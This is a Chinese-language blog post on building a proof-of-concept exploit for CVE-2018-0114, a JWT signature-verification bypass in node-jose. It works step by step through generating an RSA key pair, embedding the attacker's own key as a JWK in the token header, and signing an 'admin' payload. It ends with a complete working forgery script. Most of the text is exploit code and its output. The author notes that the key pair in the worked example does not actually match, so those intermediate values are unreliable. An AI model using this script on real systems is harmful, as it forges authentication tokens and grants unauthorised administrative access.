CVE-2018-0114 POC编写与实践

一篇水文。。。起名困难症（改了几次）参考思路就行

POC构造思路

先生成rsa密钥：public key 和private key

python

import rsa 

def generate_key(key_size):
    print('[+]Creating-RSA-pair-key')
    (public_key, private_key) = rsa.newkeys(key_size, poolsize=8)
    print("\t[+]Pair-Key-created")

    return private_key, public_key

private_key, public_key = generate_key(int(512))

提取 n，e:

python

print(public_key.n)

为：

python

7076715501507999070466602684619345782186000392746800466731867297328334333379571428801893507491054811882528149952022901781164450081630600727750713002635091

bytes转int（https://blog.csdn.net/iblade/article/details/73289831 )

python

def pack_bigint(i):
    b = bytearray()
    while i:
        b.append(i & 0xFF)
        i >>= 8
    return b[::-1]

然后再转为base64编码的

python

n=base64.urlsafe_b64encode(pack_bigint(pubkey.n)).decode('utf-8').rstrip('=')
e=base64.urlsafe_b64encode(pack_bigint(pubkey.e)).decode('utf-8').rstrip('=')

汇总一下写py脚本就是

python

def get_n_and_e(target):
    b = bytearray()
    while target:
        b.append( target & 0xFF)
        target >>= 8
    int_object = b[::-1]
    return base64.urlsafe_b64encode(int_object).decode('utf-8').rstrip('=')

获取到的n为：

python

mbS8ENZVgERqASWVZK892gvgZug3Cul46tR6lLZFcmM7_8ZA4vLuUWdwfrXsZtM6z_ORJmGz2mQQ10J5uhlgZw

获取到的e为

python

AQAB

构造header

将刚刚生成的n和e放入符合格式要求的header下（有jwk）

python

{
  "alg":"RS256",
  "jwk":  {
          "kty":"RSA",
          "kid":"bilbo.baggins@hobbiton.example",
          "use":"sig",
          "n":"mbS8ENZVgERqASWVZK892gvgZug3Cul46tR6lLZFcmM7_8ZA4vLuUWdwfrXsZtM6z_ORJmGz2mQQ10J5uhlgZw",
          "e":"AQAB"
          }
}

base64后则是：

python

ewogICJhbGciOiJSUzI1NiIsCiAgImp3ayI6ICB7CiAgICAgICAgICAia3R5IjoiUlNBIiwKICAgICAgICAgICJraWQiOiJiaWxiby5iYWdnaW5zQGhvYmJpdG9uLmV4YW1wbGUiLAogICAgICAgICAgInVzZSI6InNpZyIsCiAgICAgICAgICAibiI6Im1iUzhFTlpWZ0VScUFTV1ZaSzg5Mmd2Z1p1ZzNDdWw0NnRSNmxMWkZjbU03XzhaQTR2THVVV2R3ZnJYc1p0TTZ6X09SSm1HejJtUVExMEo1dWhsZ1p3IiwKICAgICAgICAgICJlIjoiQVFBQiIKICAgICAgICAgIH0KfQ

生成payload

python

def generate_payload():
    logined_in = b'admin'
    payload = base64.urlsafe_b64encode(logined_in).decode('utf-8').rstrip('=')
    return payload

生成后的

python

YWRtaW4

对header+payload部分进行sign

python

firstpart = "ewogICJhbGciOiJSUzI1NiIsCiAgImp3ayI6ICB7CiAgICAgICAgICAia3R5IjoiUlNBIiwKICAgICAgICAgICJraWQiOiJiaWxiby5iYWdnaW5zQGhvYmJpdG9uLmV4YW1wbGUiLAogICAgICAgICAgInVzZSI6InNpZyIsCiAgICAgICAgICAibiI6Im1iUzhFTlpWZ0VScUFTV1ZaSzg5Mmd2Z1p1ZzNDdWw0NnRSNmxMWkZjbU03XzhaQTR2THVVV2R3ZnJYc1p0TTZ6X09SSm1HejJtUVExMEo1dWhsZ1p3IiwKICAgICAgICAgICJlIjoiQVFBQiIKICAgICAgICAgIH0KfQ.YWRtaW4"
signature = rsa.sign(firstpart, private_key, 'SHA-256')
signature = base64.b64encode(signature)

最后为：

python

KlmabUs5RmdVCLWbjdWppgjy43kp9yxibCO8IHCXPV/oHGVziCIHS7XCdvATomjocdBM1ZnXU/nlJFWaK4Cuuw==

组合

python

ewogICJhbGciOiJSUzI1NiIsCiAgImp3ayI6ICB7CiAgICAgICAgICAia3R5IjoiUlNBIiwKICAgICAgICAgICJraWQiOiJiaWxiby5iYWdnaW5zQGhvYmJpdG9uLmV4YW1wbGUiLAogICAgICAgICAgInVzZSI6InNpZyIsCiAgICAgICAgICAibiI6Im1iUzhFTlpWZ0VScUFTV1ZaSzg5Mmd2Z1p1ZzNDdWw0NnRSNmxMWkZjbU03XzhaQTR2THVVV2R3ZnJYc1p0TTZ6X09SSm1HejJtUVExMEo1dWhsZ1p3IiwKICAgICAgICAgICJlIjoiQVFBQiIKICAgICAgICAgIH0KfQ.YWRtaW4.KlmabUs5RmdVCLWbjdWppgjy43kp9yxibCO8IHCXPV/oHGVziCIHS7XCdvATomjocdBM1ZnXU/nlJFWaK4Cuuw

上面的仅供参考参考，模块化执行的（写好笔记后发现举的例子里private_key和public_key不是一对）

汇总

参考github（POC-CVE-2018-0114/jwk-node-jose.py at master · zi0Black/POC-CVE-2018-0114 · GitHub），我写的代码：

python

import rsa 
import base64
from urllib.parse import quote_plus
import json 

def generate_key(key_size):
    print('[+]Creating-RSA-pair-key')
    (public_key, private_key) = rsa.newkeys(key_size, poolsize=8)
    print("\t[+]Pair-Key-created")

    return private_key, public_key

def get_n_and_e(target):
    b = bytearray()
    while target:
        b.append( target & 0xFF)
        target >>= 8
    int_object = b[::-1]
    return base64.urlsafe_b64encode(int_object).decode('utf-8').rstrip('=')

def generate_payload():
    logined_in = b'admin'
    payload = base64.urlsafe_b64encode(logined_in).decode('utf-8').rstrip('=')
    return payload
    print(payload)

def generate_header(public_key):
    n = get_n_and_e(public_key.n)
    e = get_n_and_e(public_key.e)

    format_header = {
      "alg":"RS256",
      "jwk":  {
              "kty":"RSA",
              "kid":"bilbo.baggins@hobbiton.example",
              "use":"sig",
              "n":f"{n}",
              "e":f"{e}"
              }
    }
    format_header = json.dumps(format_header)
    header = base64.b64encode(format_header.encode())
    return header

def sign(target,private_key):
    signature = rsa.sign(target, private_key, 'SHA-256')
    signature = base64.b64encode(signature)
    return signature


def output(header,payload,signature):
    auth = header+b'.'+payload+b'.'+signature
    auth = auth.decode('utf-8').rstrip('=') 
    return quote_plus(auth)
def main():
    private_key, public_key = generate_key(int(512))
    header = generate_header(public_key)
    payload = base64.b64encode(b'admin')
    signature = sign(header+b'.'+payload, private_key)
    print(output(header, payload, signature) )
main()

POC构造思路 ​

汇总 ​

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POC构造思路

汇总